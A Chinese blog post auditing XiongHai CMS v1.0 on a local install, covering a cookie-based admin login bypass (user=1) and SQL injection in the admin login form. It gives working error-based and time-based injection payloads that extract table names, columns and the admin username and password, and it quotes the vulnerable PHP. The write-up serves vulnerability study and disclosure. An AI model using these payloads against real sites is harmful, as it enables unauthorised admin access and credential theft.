前言
熊海cms是由熊海开发的一款应用于个人博客,个人网站,企业网站的一套网站综合管理系统。
熊海CMS v1.0存在后台权限绕过漏洞,攻击者可伪造COOKIE绕过登录检测,成功登录后台。
编号:CNVD-2017-04283
后台存在登录绕过漏洞
漏洞复现
下载源码,配置好环境,直接进入到后台登录地址
http://127.0.0.1/xhcms_v1.0/admin/?r=login
![图片[1]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd162235.png)
这里我们把连接地址的login改成index,就不输入命令,直接添加cookie:user=1
http://127.0.0.1/xhcms_v1.0/admin/?r=index
![图片[2]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd162435.png)
直接访问即可进入后台
![图片[3]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd162500.png)
此时,只要user=1的cookie一直存在,就可以直接在后台畅通无阻
代码审计
站在上帝视角,我们已经知道是后台未授权,那么就直接看看后台文件是怎么鉴权的就好
随便打开一个后台文件都可以发现:
require '../inc/checklogin.php';
字面意思,就是检查有没有登录,继续跟一下:
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
很明显可以发现就只是检查了一下,如果user!=空就直接进入,相当于没有鉴权
这样就只需要加上cookie,并且里面加上user设置就可以
后台登录sql注入漏洞
漏洞复现
后台登录地方直接输入 admin',就会出现报错
![图片[4]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd164227.png)
通过测试,可以发现属于盲注,这里使用时间注入或者报错注入都是可以的
时间注入poc:
user=admin'%2bsleep(1)%23&password=afsf&login=yes
![图片[5]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd164756.png)
报错注入poc:
user=admin'%2bupdatexml(1,concat(0x7e,database(),0x7e),1)%23&password=afsf&login=yes
![图片[6]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd164724.png)
因为时间盲注着实麻烦,这里就只放下报错注入的poc啦
user=admin'%2bupdatexml(1,concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema='xhcms_com'+limit+6,1),0x7e),1)%23&password=afsf&login=yes
user=admin'%2bupdatexml(1,concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name='manage'+limit+3,1),0x7e),1)%23&password=afsf&login=yes
user=admin'%2bupdatexml(1,concat(0x7e,(select+user+from+manage),0x7e),1)%23&password=afsf&login=yes
user=admin'%2bupdatexml(1,concat(0x7e,(select+password+from+manage),0x7e),1)%23&password=afsf&login=yes
![图片[7]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd170552.png)
使用sqlmap进行验证:
![图片[8]-【代码审计】熊海CMS v1.0多漏洞审计分析-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd170536.png)
漏洞审计
查看文件:admin\files\login.php
if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
没有任何过滤,直接梭哈就可以
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END














请登录后查看评论内容